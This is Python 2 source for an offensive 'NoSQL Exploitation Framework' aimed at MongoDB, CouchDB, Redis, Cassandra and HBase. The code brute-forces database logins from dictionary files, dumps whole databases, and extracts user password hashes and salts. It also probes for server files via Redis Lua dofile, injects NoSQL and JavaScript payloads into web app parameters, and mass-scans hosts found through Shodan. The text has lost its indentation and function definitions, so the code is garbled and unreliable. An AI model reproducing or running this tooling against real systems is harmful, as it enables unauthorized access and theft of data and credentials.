global available

global target,port # Needed to modify global copy of globvar

global user,passw

global mas

global file_name

mas=False

available=['mongo','couch','redis']

parser = argparse.ArgumentParser(description='Python Nosql Exploitation Framework')

parser.add_argument('-ip','--ip', help='Host to Scan', required=True)

parser.add_argument('-port','--port', help='Port', required=False)

parser.add_argument('-scan', '--scan',help='Scan', required=False, action='store_true')

parser.add_argument('-enum','--enum', help='Enumerate DBs,Specify mongo,couch,redis', required=False)

parser.add_argument('-dict','--dict', help='Dictionary Attack ==> mongo', required=False)

parser.add_argument('-file','--file', help='Dictionary file name', required=False)

parser.add_argument('-clone','--clone', help="Clone's DB", required=False)

parser.add_argument('-sniff','--sniff', help="Sniff on Couch DB", required=False)

parser.add_argument('-shodan','--shodan', help="Shodan Search Specify port number", required=False)

parser.add_argument('-auth','--auth', help="Authenticate -> username:password", required=False)

parser.add_argument('-webapp','--webapp', help="Scan Web App", required=False)

parser.add_argument('-url','--url', help="URL Name", required=False)

parser.add_argument('-mass','--mass', help="Mass Scanner", required=False)

parser.add_argument('-filecheck','--filecheck', help="System File Enumerator", required=False)

args = vars(parser.parse_args())

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

target = args['ip']

port = args['port']

url=args['webapp']

file_name=args['file']

host_up(target)

if args['mass'] in available :

if args['file']:

mas=True

mass_scan(args['mass'],args['file'])

else:

print colored("[-] Plse specify File name \n",'red')

if args['webapp']:

web_app_attack(url)

if args['filecheck']=='redis':

redis_file_enum()

if args['scan']:

scan_db(target)

if args['shodan']:

shodan_frame(args['shodan'])

if args['sniff']=='mongo':

sniffmongo.sniff_mongo()

if args['sniff']=='redis':

sniffredis.sniff_redis()

if args['sniff']=='couch':

sniffcouch.sniff_couch()

if args['clone'] == 'couch':

clone_couch(target)

if args['clone'] == 'redis':

clone_redis(target)

if args['dict'] == "mongo":

if port:

pass

else:

port = 27017

file_name = args['file']

brute_mongo(file_name,target,port)

elif args['dict'] == "couch":

if port:

pass

else:

port = 5984

file_name = args['file']

brute_couch(file_name,target,port)

elif args['dict'] == "redis":

if port:

pass

else:

port = 6379

file_name = args['file']

brute_redis(file_name,target,port)

if args['enum'] == 'mongo':

if port:

pass

else:

port = 27017

mongo_web_scan(target)

try:

conn = pymongo.MongoClient(target,27017)

mongo_enum(conn)

except:

print colored("[-] MongoDB port closed. \n",'red')

if args['enum'] == 'couch':

couch=couch_conn(target)

couch_enum(couch)

if args['enum'] == 'redis':

if port:

pass

else:

port = 6379

r_server=redis_conn(target,port)

redis_enum(r_server)

if args['enum'] == 'cassandra':

if port:

pass

else:

port = 9160

cassa_enum()

if args['enum'] == 'hbase':

if port:

pass

else:

port = 8080

if not os.path.exists("dump"):

os.makedirs("dump")

elif not os.path.exists("dump/couchdb"):

os.makedirs("dump/couchdb")

print colored("[-] Clone Module For NoSQL Framework Launched ..",'blue')

couch = couch_conn(target)

for db in couch:

print colored("[-]%s"%(db),'green')

print colored('[-] Enter Database to clone','blue')

try:

db_clone = raw_input()

file = open("./dump/couchdb/"+str(target)+"."+db_clone+".dump","w")

dump.dump_db("http://"+target+":5984/"+db_clone,output=file)

print colored("[-] Cloning Succesfull with DB %s"%db_clone,'green')

except couchdb.http.ResourceNotFound:

if not os.path.exists("dump"):

os.makedirs("dump")

elif not os.path.exists("dump/redis"):

os.makedirs("dump/redis")

print colored("[-] Clone Module For NoSQL Framework Launched ..",'blue')

try:

content=redisdl.dumps(str(target),6379)

file = open("./dump/redis/"+str(target)+".rdb","w")

file.write(content)

file.close()

print colored("[-] Dumped Successfully Find the logs @ ./dump/redis/"+target+".rdb",'green')

except redis.exceptions.ResponseError:

print colored("[-] Authentication Required \n",'red')

choice=raw_input(colored("[-] Do u want to enter a password \n",'yellow'))

if choice.lower()=='y':

passw=raw_input(colored("[-] Enter the password ",'green'))

content=redisdl.dumps(str(target),6379,passw)

file = open("./dump/redis/"+str(target)+".rdb","w")

file.write(content)

file.close()

print colored("[-] Dumped Successfully Find the logs @ ./dump/redis/"+target+".rdb\n",'green')

else:

print colored("[-] Dictionary Attack Module For NoSQL Framework Launched ..",'blue')

conn = mongo_conn(target,port)

db = conn['admin']

try:

file = open(file_name,"r")

lines = file.read().split('\n')

for names in lines:

try:

db.authenticate(names.split(':')[0],names.split(':')[1])

print colored("[-] Auth Succeeded with username:%s and Password %s"%(names.split(':')[0],names.split(':')[1]),'green')

break

except pymongo.errors.OperationFailure:

print colored("[-] Auth Failed with username:%s and Password %s"%(names.split(':')[0],names.split(':')[1]),'red')

except Exception,e:

print colored("[-] Dictionary Attack Module For NoSQL Framework Launched ..",'blue')

url = "http://"+target+":"+str(port)+"/_session"

try:

file = open(file_name,"r")

lines = file.read().split('\n')

for names in lines:

payload={'name':str(names.split(':')[0]),'password':str(names.split(':')[1])}

code = requests.post(url,data=payload)

if code.status_code == 200:

print colored("[-] Auth Succeeded with username:%s and Password %s"%(names.split(':')[0],names.split(':')[1]),'green')

break

else:

print colored("[-] Auth Failed with username:%s and Password %s"%(names.split(':')[0],names.split(':')[1]),'red')

except Exception,e:

print colored("[-] Dictionary Attack Module For NoSQL Framework Launched ..",'blue')

r_server = redis_connb(target,port)

try:

file = open(file_name,"r")

lines = file.read().split('\n')

for names in lines:

try:

r_server.execute_command('AUTH',names.split(':')[1])

print colored("[-] Auth Succeeded with Password %s"%(names.split(':')[1]),'green')

break

except redis.exceptions.ResponseError:

print colored("[-] Auth Failed with Password %s"%(names.split(':')[1]),'red')

except Exception,e:

response = os.system("ping -c 1 -w2 " + target + " > /dev/null 2>&1")

if response == 0:

return True

else:

print colored("\n[-]"+target+' is down! or Invalid Host Address\n','red')

print "[-] Exiting.. "

n=[]

#File format is IP lists in order

if db_type=='mongo':

files=open(file_name,'r')

lines=files.readlines()

for i in lines:

mongo_conn(i.strip('\n'),27017)

if db_type=='couch':

files=open(file_name,'r')

lines=files.readlines()

for i in lines:

couch_conn(i.strip('\n'),5984)

if db_type=='redis':

files=open(file_name,'r')

lines=files.readlines()

for i in lines:

n.append(i.strip('\n'))

try:

conn = Connection(target,int(port))

if mas==True:

print colored("[-] MongoDB port open on " + target + ":27017!",'green')

else:

print colored("[-] MongoDB port open on " + target + ":27017!",'green')

return conn

except pymongo.errors.ConnectionFailure:

#print colored(str(e),'red')

if mas==True:

print colored("[-] MongoDB port closed. \n",'red')

else:

print colored("[-] MongoDB port closed. \n",'red')

try:

couch = couchdb.Server('http://%s:5984/'%(target))

try:

check = couch.version()# Makes sure that the Connection is really established

return couch

except couchdb.http.Unauthorized:

print colored("\n[-] Couch Basic Auth Detected \n",'red')

print colored("[-] Try Supplying with Credentials \n",'red')

sys.exit(0)

return couch

except socket.error:

print colored("[-] CouchDB port closed. \n",'red')

"""Threaded Url Grab"""

def __init__(self, queue):

threading.Thread.__init__(self)

self.queue = queue

def run(self):

while True:

url = self.queue.get()

redis_conn(url)

#Scan targets here

#signals to queue job is done

querange = len(server_addr)

queue = Queue.Queue()

#spawn a pool of threads, and pass them queue instance

for i in range(int(querange)):

t = BinaryGrab(queue)

t.setDaemon(True)

t.start()

#populate queue with data

for target in server_addr:

queue.put(target)

#wait on the queue until everything has been processed

try:

r_server = redis.Redis(target,port)

if mas==True:

s=r_server.info()

print colored("[-] RedisDB port open on %s:6379! \n"%(target),'green')

else:

check = r_server.keys() # Makes sure that the Connection is really established

popen = "[-] RedisDB port open on " + target + ":6379! \n"

return r_server

except redis.exceptions.InvalidResponse:

print colored("[-] RedisDB Port Closed on "+ target + ":6379! \n",'red')

except redis.exceptions.ResponseError:

if mas==True:

print colored("[-] RedisDB port open on %s:6379! \n"%(target),'green')

else:

print colored("[-] RedisDB port open on %s:6379! \n"%(target),'green')

print popen

return r_server

except redis.exceptions.ConnectionError:

print colored("[-] RedisDB Port Closed on %s:6379! \n"%(target),'red')

if mas==True:

pass

else:

cluster = Cluster([target])

print colored("[-] Cassandra Server Version\n",'blue')

session = cluster.connect()

row = session.execute('SELECT release_version,thrift_version from system.local')

print colored("[-] Release Version %s \n[-] Thrift Version %s \n"%(row[0][0],row[0][1]),'green')

print colored("[-] Listing KeySpaces",'blue')

i=0

row = session.execute("select * from system.schema_keyspaces;")

while i<len(row):

print colored("\t [-] "+row[i][0],'green')

i=i+1

print "Would Like to Enumerate the KeySpaces (y/n)"

choice=raw_input()

if choice == 'y':

print colored("[-] Enter KeySpace to enumerate from ",'blue')

keyspace=raw_input()

try:

row = session.execute("USE %s"%(keyspace))

except cassandra.InvalidRequest:

print colored("[-] Invalid Keyspace \n",'red')

sys.exit(0)

table = session.execute("select columnfamily_name from system.schema_columns where keyspace_name='%s' limit 1"%(keyspace))

print colored("[-] Table Name ",'blue')

j=0

while j < len(table):

print "\t[-] "+table[j][0]

j=j+1

column = session.execute("select * from %s"%(str(table[0][0])))

print colored("[-] Column Names : ",'blue')

for i in column[0]._fields:

print "\t[-] "+i

print colored("[-] Dump Data (y/n)",'blue')

column.sort()

if raw_input()=='y':

print "---------------------------------------------------------------------"

for i in column[0]._fields:

print i+"\t",

i=0

print "\n"

print "----------------------------------------------------------------------"

while i<len(column):

k=0

for j in column[i]:

if k!=len(column[i])-1:

print j+"\t",

else:

print "\t"+j,

k=k+1

print "\n"

r_server=redis_connb(target,6379)

r_server.execute_command('auth','admin')

file=open(file_name,'r')

lines=file.readlines()

for i in lines:

try:

test=i.split('\n')[0]

evals="dofile('%s')"%test

r_server.eval(evals,0)

except Exception,e:

if "No such file or directory" in str(e) and test[len(test)-1] != '/':

print colored("[-] File Not Found " + "'%s'"%(test),'red')

elif test[len(test)-1] == '/' and "No such file or directory" in str(e):

print colored("[-] Directory Not Found " + "'%s'"%(test),'red')

else:

print colored("[+] File Found "+test,'green')

else:

try:

r_server = redis.Redis(target,port)

#check = r_server.keys() # Makes sure that the Connection is really established

popen = "[-] RedisDB port open on " + target + ":6379! \n"

return r_server

except redis.exceptions.ConnectionError:

print colored("[-] RedisDB Port Closed \n",'red')

mong = False

cou = False

red = False

print colored("\n[!] Scanning Module For NoSQL Framework Launched..... \n",'green')

time.sleep(2)

try:

conn = Connection(target,27017)

popen = "[-] MongoDB port open on " + target + ":27017!\n"

print colored(popen,'green')

mong= True

except:

print colored("[-] MongoDB port closed. \n",'red')

try:

couch = couchdb.Server('http://%s:5984/'%(target))

check = couch.version()# Makes sure that the Connection is really established

popen = "[-] CouchDB port open on " + target + ":5984!\n"

print colored(popen,'green')

cou = True

except socket.error:

print colored("[-] CouchDB port closed. \n",'red')

try:

r_server = redis.Redis(target)

check = r_server.keys() # Makes sure that the Connection is really established

popen = "[-] RedisDB port open on " + target + ":6479! \n"

print colored(popen,'green')

red = True

except redis.exceptions.ConnectionError:

print colored("[-] RedisDB Port Closed \n",'red')

except redis.exceptions.ResponseError:

popen = "[-] RedisDB port open on " + target + ":6479! \n"

print colored(popen,'green')

"""try:

h_base = Connection(host=target, port=8080)

print colored("[-] H-Base DB port open on " + target + ":8080! \n","green")

except:

print colored("[-] H-Base DB port closed ",'red')

"""

if red == False and cou == False and mong == False:

print colored("\n[!] Enumeration Module For NoSQL Framework H-Base Launched.....",'yellow')

print colored("[-] Enumerating Cluster Version and Cluster Status",'blue')

try:

c = Connection(target,port)

print colored("[-] Cluster Version: %s"%(str(c.cluster_version)),'green')

v=c.cluster_status

print colored("[-] Cluster Status ",'green')

for key, value in v.iteritems() :

print colored("\t [-] "+str(key)+":"+str(value),'green')

print colored("[-] Enumerating JVM and Box Details",'blue')

for key,value in c.version.iteritems():

print colored("\t[-] "+str(key)+":"+str(value),'green')

print colored("[-] Tables Available",'blue')

for i in c.tables():

print colored("\t[-] "+i,'green')

print colored("Would you like to enumerate columns",'blue')

choice=raw_input()

if choice=='y':

tab=raw_input(colored("[-] Enter tables name ",'blue'))

if tab in c.tables():

print colored("[-] Enumerating Columns",'blue')

t=c.table(tab)

for i in t.columns():

print colored("\t[-] "+str(i),'green')

else:

print colored("[-] No such table Exists ",'red')

except Exception,e:

further = True

print colored("\n[!] Enumeration Module For NoSQL Framework Couchdb Launched.....",'yellow')

print colored("\n[-] Couch Version : "+ couch.version(),'green')

print colored("\n[!] Retrieving Couchdb Users\n",'blue')

parse = requests.get("http://"+target+":5984/_users/_all_docs")

j = json.loads(parse.text)

if len(j['rows'])== 1:

print colored("[-] No Users Found !! \n",'blue')

print colored("[-] Looks Like We have Admin Party. DO the Hula Bula Dance \n",'green')

#sys.exit(0)

else:

for i in range(1,len(j)+1):

print colored("[-] "+str(j['rows'][i]['id']),'green')

print colored("\t[!] Hashes Obtained",'green')

det = requests.get("http://"+target+":5984/_users/"+str(j['rows'][i]['id']))

json_couch = json.loads(det.text)

try:

print colored("\t[-] Password Sha:" + str(json_couch['password_sha']),'green')

print colored("\t[-] Salt:" + str(json_couch['salt']),'green')

except KeyError:

print colored("\t[-] Password Sha: Nil" ,'green')

print colored("\t[-] Salt: Nil" ,'green')

try:

print colored("\n[!] Enumerating DB's \n",'blue')

for db in couch:

print colored("\t[-] %s"%(db),'green')

time.sleep(2)

except couchdb.http.Unauthorized:

print colored("[-] The DB requires Credentials or Wrong Credentials :( \n",'red')

further = False

if further != False:

print colored("\n\n[!] Trying to Retrieve CouchDB Configs\n",'green') #Parsing needed to be added

try:

for key, value in couch.config().iteritems() :

print key,value

except couchdb.http.Unauthorized:

print colored("[-] Oops Looks Like u need Credentials \n",'red')

username,password=auth_req('couch')

couch.resource.credentials = (username,password)

if db!='redis':

print colored("[-] Enter username",'green')

username=raw_input()

print colored("[-] Enter password",'green')

password=raw_input()

return username,password

else:

print colored("[-] Enter password",'green')

password=raw_input()

count=1

print colored("\n[!] Enumeration Module For NoSQL Framework Redisdb Launched.....",'yellow')

try:

s=r_server.info()

print colored("\n[+] Redis Version : %s"%(s['redis_version']),'blue')

print colored("\n[!] Enumerating Redis Keys \n",'blue')

for i in r_server.keys():

print colored("[-]"+i,'green')

print colored("\n[!] Geting Key Details \n",'blue')

for i in r_server.keys():

if r_server.type(i)=='list':

if count == 1:

print colored("[-] Lists identified Which May Contain Huge Data. Do u wish to display (y/n)",'green')

if raw_input()=='y':

for j in r_server.lrange(i,0,-1):

print colored("[-] "+j,'green')

else:

break

count = count + 1

else:

for j in r_server.lrange(i,0,-1):

print colored("[-] "+j,'green')

elif r_server.type(i)=='hash':

if count == 1:

print colored("[-] Hashes identified Which May Contain Huge Data. Do u wish to display (y/n)",'green')

if raw_input()=='y':

for j in r_server.hgetall(i):

print colored("[-] "+j,'green')

else:

break

count = count + 1

else:

for j in r_server.hgetall(i):

print colored("[-] "+j,'green')

else:

print colored("'%s'"%i+":"+r_server.get(i)+"\n",'green')

except redis.exceptions.ResponseError:

print colored("[-] Auth Required",'red')

print colored("[-] Do you want to provide Credentials [y/n] ",'red')

choice=raw_input()

if choice.lower()=='y':

password = auth_req('redis')

try:

r_server.execute_command('AUTH',password)

redis_enum(r_server)

except Exception,e:

print colored("[-] "+str(e),'red')

else:

try:

url = 'http://'+target+':28017'

code = requests.get(url)

if code.status_code == 200:

print colored("[-] MongoDB web management open at " + url + ". No authentication required!",'blue')

elif code.status_code==401:

print colored("[-] MongoDB web management Open at " + url + ". Authentication required!",'blue')

print colored("[-] Try Supplying credentials using the Auth option",'blue')

print colored("[-] Do you Want to Take a ScreenShot of the Page (y/n)",'yellow')

choice=raw_input()

if choice.lower()=='y':

screenshot(url,target)

else:

pass

else:

print colored("[-] Web Interface Not Open",'red')

except Exception,e:

ghost = Ghost(wait_timeout=4)

print "Do u want to provide any credentials \n"

choice=raw_input()

if choice.lower()=='y':

print colored("[-] Enter Username and Password ",'green')

username=raw_input()

password=raw_input()

ghost.open(url,auth=(username,password))

ghost.capture_to(str(time.time())+'.png')

os.system('mv *.png ./screenshots')

print colored("[-] Screenshot Succesfull catpured and Saved @ %s/screen.png"%(os.getcwd()),'green')

else:

"""base_req = selected_param

base_req += "a" """

response=requests.get(url)

len_base=len(response.content)

print colored("[-] Identifying Web APP Vulnerabilitties ",'green')

params = url.split('?')[1].split('&')

base_url=url.split("?")[0]

print colored("[-] Identifyied Url Params",'green')

for param in params:

print colored("\t[-] %s"%(param),'blue')

print colored("[-] Inject Custom Payload or Auto Load Payload Vectors (c/a)",'green')

choice=raw_input()

if choice=='c':

print colored("[-] Enter Selected Parameter",'green')

selected_param=raw_input()

for param in params:

tmp=param.split('=')[0]

if selected_param==tmp:

needed_param=param

break

else:

print tmp

print colored("[-] Parameter %s not available"%(selected_param),'red')

sys.exit(0)

print colored("[-] Enter Custom payload \n",'green')

payload = raw_input()

print colored("[-] Appending Payload to Parameter",'green')

selected_param+="="

len_base=base_req(base_url,selected_param)

selected_param+=payload

response=requests.get(base_url+"?"+selected_param)

print colored("[-] Time Elapsed for the request : %s\n"%(response.elapsed),'green')

print colored("[-] Checking Length of Base Payload Request withs Custom Payload Request \n",'yellow')

custom_len = len(response.content)

diff_len=custom_len-len_base

print colored("[-] Page showed a Base Difference of %d bytes"%(custom_len-len_base),'green')

if (diff_len>100):

print colored("[-] Custom Payload Huge Difference.Try checking the page manually \n",'yellow')

elif diff_len == len(payload):

print colored("[-] Looks Like Payload Reflected Back\n.Plse check Manually \n",'green')

elif choice=='a':

len_base=base_req_len(url)

print colored("[-] Taking Auto Payload List \n",'green')

mongo_web(url,base_url)

couch_web(url,base_url)

"""

file=open(file_list[0],'r')

lines = file.read().split('\n')

selected_param+="="

sel_new=selected_param

for payload in lines:

selected_param=sel_new

selected_param+=payload

response=requests.get(base_url+"?"+selected_param)

print colored("[-] Checking with %s"%(base_url+"?"+selected_param),'yellow')

time=response.elapsed

resp_len=len(response.content)-len_base

if resp_len > 100:

print colored("[-] Payload Returned with Huge Difference in Page.Try checking the page manually ",'green')

print colored("Url : "+base_url+"?"+selected_param+"\n",'blue')

original_param=[]

param=""

params = url.split('?')[1].split('&')

base_url=url.split("?")[0]

"""print colored("[-] Identifyied Url Params",'green')

for param in params:

print colored("\t[-] %s"%(param),'blue')"""

for param in params:

original_param.append(param.split('=')[0])

i=j=0

param=parameter=""

respond=False

params=return_params(url)

base_len=len(requests.get(url).content)

print "Base Request Took %d Bytes"%(base_len)

file=open('payload/js_inject.txt','r')

lines = file.read().split('\n')

while(i<len(lines)):

j=1

for param in params:

if (j==len(params)):

parameter+=param+"="+lines[i]

else:

parameter+=param+"="+lines[i]+"&"

j=j+1

response=requests.get(base_url+"?"+parameter)

check_len=len(response.content)

print colored("[-] Checking %s"%(base_url+"?"+parameter),'yellow')

print "\t [-] Request Took %d Bytes"%(check_len)

resp_len=len(response.content)-base_len

#print resp_len

if resp_len < 0:

#resp=analyze_response(url)

resp=False

if(resp==True):

print colored("[-] Page Didnt Respond Normally to query",'red')

respond=True

if abs(resp_len) >=50:

print colored(" \t [-] Payload Returned Considerable Difference in Page.Try checking the page manually ",'green')

print colored("\t [-] Check Url : "+base_url+"?"+parameter+"\n",'blue')

respond=True

i=i+1

parameter=""

if respond==False:

i=j=0

param=parameter=""

respond=False

params=return_params(url)

base_len=len(requests.get(url).content)

file=open('payload/payload_mongo.txt','r')

lines = file.read().split('\n')

if len(param) > 1:

print colored("Multiple Params Detected.Checking ..",'blue')

while(i<len(lines)):

j=1

for param in params:

if (j==len(params)):

parameter+=param+lines[i]+"=blah"

else:

parameter+=param+lines[i]+"=blah&"

j=j+1

response=requests.get(base_url+"?"+parameter)

#print colored("[-] Checking %s"%(base_url+"?"+parameter),'yellow')

resp_len=len(response.content)-base_len

if resp_len < 0:

print colored("[-] Page Didnt Respond Normally to query",'red')

respond=True

if resp_len >=3:

print colored("[-] Payload Returned Considerable Difference in Page.Try checking the page manually ",'green')

print colored("Check Url : "+base_url+"?"+parameter+"\n",'blue')

respond=True

i=i+1

parameter=""

print colored("[-] Checking for Javascript injection attacks \n",'green')

js_inject(url,base_url)

if respond==False:

print colored("\n[-] Checking for Couch Attacks \n",'green')

i=j=0

param=parameter=""

respond=False

params=return_params(url)

base_len=len(requests.get(url).content)

file=open('payload/payload_couch.txt','r')

lines = file.read().split('\n')

if len(param) > 1:

print colored("Multiple Params Detected.Checking ..",'blue')

while(i<len(lines)):

j=1

for param in params:

if (j==len(params)):

parameter+=param+"="+lines[i]

else:

parameter+=param+"="+lines[i]+"&"

j=j+1

response=requests.get(base_url+"?"+parameter)

resp_len=len(response.content)-base_len

if resp_len < 0:

print colored("[-] Page Didnt Respond Normally to query",'red')

respond=True

if resp_len >=3:

print colored("[-] Payload Returned Considerable Difference in Page.Try checking the page manually ",'green')

print colored("Check Url : "+base_url+"?"+parameter+"\n",'blue')

respond=True

i=i+1

parameter=""

if respond==False:

# Currently Supports query based on port Filter only and Displays Corresponding IP

print colored("\n[!] Shodan Search Module For NoSQL Framework Launched.....",'yellow')

api = WebAPI("API KEY GOES HERE")

if port == 5984:

query='{"couchdb":"Welcome","version":""}'

else:

query='port:%s'%(port)

result = api.search(query)

print colored("[-] Would Like to write the Results to a File",'green')

choice=raw_input()

if choice.lower()=='y':

file=open('shodan-%s.txt'%(port),'w')

for host in result['matches']:

file.write(host['ip']+"\n")

print colored('[-] File to %s/shodan-%s.txt'%(os.getcwd(),port),'green')

file.close()

else:

print colored("[-] Printing Found IP \n",'blue')

for host in result['matches']:

further = True

print colored("[*] Server Info: \n",'yellow')

serverInfo = conn.server_info()

for keys in serverInfo:

print colored("[-]"+(keys)+":"+str(serverInfo[keys]),'green')

print "\n"

try:

print colored("List of databases:",'blue')

dbList = conn.database_names()

for i in dbList:

print colored("[-]"+i,'green')

print "\n"

except:

print colored("[-] Error:Couldn't list databases.Credentials Required",'red')

print colored("[-] Would You Like to Enter the Credentials ",'green')

choice=raw_input()

if choice.lower()=='y':

username=raw_input(colored("[-] Enter Username ",'green'))

password=raw_input(colored("[-] Enter Password ",'green'))

db = conn['admin']

try:

db.authenticate(username,password)

mongo_enum(conn)

except pymongo.errors.OperationFailure:

print colored("[-]Authentication Failed ",'red')

else:

pass

further = False

if further:

print colored("List of collections:",'blue')

try:

for dbItem in dbList:

db = conn[dbItem]

colls = db.collection_names()

print dbItem + ":"

for i in colls:

print colored("[-]"+i,'green')

if 'system.users' in colls:

users = list(db.system.users.find())

print colored("Database Users and Password Hashes:",'blue')

print colored("[-]"+str(users),'green')

except pymongo.errors.AutoReconnect:

print colored("Looks Like Slaveok is Set to False\n ",'red')

print colored("[-] Renabling with slaveok= true",'green')

#db.slave_okay=True

for dbItem in dbList:

db = conn[dbItem]

db.slave_okay=True

colls = db.collection_names()

print dbItem + ":"

if len(colls)==0:

print colored("[-] Empty",'green')

else:

for i in colls:

print colored("[-]"+i,'green')

if 'system.users' in colls:

users = list(db.system.users.find())

print colored("Database Users and Password Hashes:",'blue')

print colored("[-]"+str(users),'green')

except: